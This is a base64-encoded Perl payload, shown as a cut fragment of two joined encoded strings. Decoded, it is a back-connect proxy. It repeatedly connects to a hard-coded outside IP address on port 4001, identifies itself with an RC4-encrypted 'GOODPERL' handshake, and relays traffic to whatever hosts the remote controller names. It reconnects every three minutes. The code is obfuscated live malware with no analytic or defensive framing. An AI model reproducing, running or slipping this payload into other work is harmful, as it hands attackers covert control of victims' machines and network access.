B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEp